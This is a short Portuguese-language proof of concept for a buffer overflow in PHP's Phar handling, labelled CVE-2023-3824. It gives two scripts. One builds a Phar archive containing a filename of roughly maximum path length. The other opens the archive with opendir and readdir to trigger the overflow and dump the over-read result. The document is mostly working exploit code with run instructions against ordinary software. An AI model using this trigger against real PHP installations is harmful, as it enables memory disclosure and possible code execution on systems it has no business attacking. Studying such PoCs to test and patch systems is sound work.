
Vulnerabilidade em arquivos PHP Phar, devido a estouro de buffer, surge de verificações insuficientes de comprimento nos nomes de arquivos dentro do arquivo Phar. Atores maliciosos podem criar arquivos Phar com nomes de arquivo longos, levando a estouro de buffer e potencial execução de código malicioso ou vazamento de dados. Essa vulnerabilidade pode ser explorada para execução de código CVE-2023-3824
Esta Prova de Conceito (PoC) demonstra como criar um arquivo Phar malicioso em PHP e acionar uma vulnerabilidade de estouro de buffer.
create_phar.php) e adicione o seguinte código:<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
Execute o script PHP para criar o arquivo Phar malicioso: Copiar código
php create_phar.php
Crie outro arquivo PHP (ex.: trigger_overflow.php) e adicione o seguinte código:
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);
var_dump($x);
?>
Execute o script PHP para acionar o estouro de buffer: Copiar código
php trigger_overflow.php
A instrução var_dump($x) exibirá o resultado da operação de estouro de buffer e leitura excessiva.